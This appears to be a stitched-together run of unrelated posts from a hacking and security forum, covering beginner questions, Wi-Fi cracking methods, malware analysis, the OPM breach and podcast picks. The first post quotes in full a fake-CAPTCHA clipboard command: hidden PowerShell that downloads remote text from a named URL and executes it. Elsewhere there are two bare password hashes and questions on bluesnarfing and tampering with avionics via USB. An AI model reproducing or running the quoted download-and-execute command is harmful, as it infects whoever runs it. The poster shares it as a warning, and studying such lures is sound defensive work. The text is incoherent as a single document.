Brief warning: This is a sneaky fucking thing that a popup showed me after I clicked to verify as human, it's clearly extremely dodgy so unless you know what you're doing please don't do anything with it because it's almost certainly malicious and I don't have any idea what it does or if there are any other ways in which it could cause harm to someone's computer, which is the purpose of this post.

So basically what the website did was after I clicked the captcha it put a command line (below) into my clipboard, and said to verify in 3 steps which were "Hold windows key and press R" (which opens up the windows run window), "Press CTRL+V", "Press Enter."

This is the command:

"cmd.exe /c powershell -WindowStyle Hidden -Command "$rQd='https://s3-sos-scw5.b-cdn.net/fadi.txt'; $pLs=New-Object System.Net.WebClient; $sLf=$pLs.DownloadString($rQd); Invoke-Expression $sLf;"

I'm just curious as to what it would do if I used it.

Bonus: Is there anywhere else I could enter the code that would cause the same effect?

I have two unused routers.

For educational purposes, what would be interesting projects to do with it? Especially in learning about security

I don't mean the results from virustotal or hybrid-analysis, I mean something like, if the reports from bitdefender are saying it's "Gen:Variant.Ulise.453253", and another is saying it's just a trojan, how can I verify how the inner workings of the tool work? Basically, how would you check if it's a false positive or not? I am only mildly understanding how to check them in VMs but I don't understand the cases for example if,

1. the virus detects the VM and doesn't activate

2. the virus steals data under the hood so you won't know

In this scenario it's not about "deleting the file" or "don't download it", it's moreso about understanding how to run these checks

I want to get into hacking but I have NO idea how to begin. Does anyone have any tips or can point me to someone who teaches step by step tutorials to do simple hacks?

Starting a new security journey that requires reverse engineering

IDA looks severely overpriced, what's your guys best free OR cheaper alternative?

So, by and large, the era of wholesale Wi-Fi cracking is in the past. While there are obvious outliers, security and public awareness has gotten much, much better and that's great. I've been focused on web application testing and the like for the last few years, but would like to get back into the more physical side of things. What techniques are people using these days to crack Wi-Fi? Not anything like mitm, evil twins, or anything like that. I know handshake captures can still work sometimes, but I'd far less prevalent than the old days. WPS is still a possibility, but usually people have wised up to leaving it on. Cracking pmkid dumps seems to be the most viable for wpa2. What methods are you, or others using that are still viable today?

im new to the IT world but currently going to school for cybersecurity, along with taking a beginner pentesting course on youtube, so i have experience but limited, so not thinking any crazy tech but things that would be helpful/engaging to practice or something simple that i can somewhat easily figure out. - preferably under $100 but no harm in letting me know about something thats a lil more costly than that.

Are there any scripts or programs that can simulate end user activity on a network, for example; accessing resources, authenticating to resources etc?

I have a Linux and WinServer virtual environment and I’m trying to simulate a semi working environment for pen testing.

So after an internal audit from 2014-2015 said “were good”. A subsidiary of China’s Military of State Security stole 21.1 million personal identifiable documents including everyone who has ever worked, planned to work, including their friends and family including but not limited to SSNs, Drivers License Identification Numbers, along with 8.1 million biometric fingerprints so cover identifies are useless. They used a PlugX backdoor Previously used by China in targeting Tibetan and Hong Kong dissenters. Along with adding characters of superhero’s to the attack signatures. I’m hearing bullshit that US authorities arrested a man responsible and let him go in less than a year. Also turns out the database was not encrypted, and on the other side I’m hearing it wouldn’t have mattered even if it was. Oh and the CIA MIGHT not have been compromised. They’re still figuring that one out.

I’m really hoping the equation group commandeered the Chinese Governments most vulnerable computers, Exfiltrated everything of value and replaced the MBR of a picture or video of Winnie the Pooh taking a memorial walk at Tiananmen Square. After which he promptly mistakenly trusts a fart, smells the aftermath and after which a screen capture is sent to every computer that actually enjoys full privileges. Those who witnessed then shart were executed but we don’t known for sure because our intelligence apparatus is in shambles.

PS. I Know it’s been close to 10 years but every once in a while this on in particular grinds my gears.

Hi hacking community. I want to learn about Bluesnarfing hacking/pentesting. Can anyone tell me how to do it on my IPhone12. I want to practice the hacking technique on myself. Thanks

What is a good website I can scan my network from the external side. I want to see which ports are open (if any).

[Discussion]

Before I make my own Anki flashcards to study, wanted to check to see if anyone here knew of any good Anki .apkg for the CEH exam. I found a couple online but none of them were great, so reaching out here before I just sit down and make one for myself.

For those with experience under their belt, would you say you got into hacking and became competent at it because of outside the box thinking that you already had or has hacking encouraged you to think outside of the box in a way you haven't beforehand?

I am currently studying cyber security and am very curious on how people come to find zero day exploits. I am at a level where I cannot even fathom the process.

We have worked with windows 10 virtual machines, however all anti virus and firewalls have been turned off. It seems so impossible.

I understand these black hats are very skilled individuals but I just can’t comprehend how they find these exploits.

Apologies if this isn't the best place. I don't really know anything about hacking, or the scene. But in regard to the massive pokemon leak that just took place. Most of the material that the hacker got their hands on isn't going to be released, and I'm wondering why.

Is the point to get a payday from Game Freak\ Nintendo? i.e. release a little bit to prove legitimacy and intent, then ransom the rest? Or is there another reasons?

TIA

Theoretical debate between friends - how difficult would it be to cause issues to electronic flight instruments issues/failure via a flash drive?

“The new models of the GSB 15 continue to offer pilots the option to transfer databases to the GI 275 electronic flight instrument using a USB flash drive. In addition, owners and operators with a GI 275 and GSB 15 installation can record flight data, including valuable Engine Indication System (EIS) data, and upload this information to a USB flash drive for an in-depth analysis.”

https://www.garmin.com/en-US/newsroom/press-release/aviation/garmin-announces-new-models-of-capable-and-compact-usb-charger-designed-for-aircraft/

$1$lV5oD14$rwL.Q3myR5KQl0Z9BJCNK1

$1$fR0oD03$nHSMgjBpfjeQ2b24DgiBY/

Hoping some of you have good suggestions, almost done with darknet diaries and looking for another interesting podcast that hosts or interviews hackers (not the people who just regurgitate "top news" from bleeping computer)

Thanks for sharing everyone, will give these a listen

For the last 1.5 months I've been working on a blind sqli brute forcer. It still a bit messy, but it works, and its pretty darn fast to boot! I know sqlmap is one of the most reliable tools that pentesters use but i needed a project and this seemed like it was going to be within my skill set. I haven't done a project since college and I'm very pleased with myself for actually (mostly) finishing something. Please consider checking it out and giving me any feedback you have!

The repo is here:

https://github.com/c3llkn1ght/BlindBrute

So like in the first episode of Mr. Robot, Elliot hacked a child pornographer and turned him into the police before the episode and the episode starts with him meeting that guy just before the police pick him up. I'm sure most of you are aware of this.

Do hackers ever do anything remotely like this in real life? Or is it just exaggeration/dramatization? I know Mr. Robot is supposed to be a realistic show on hacking.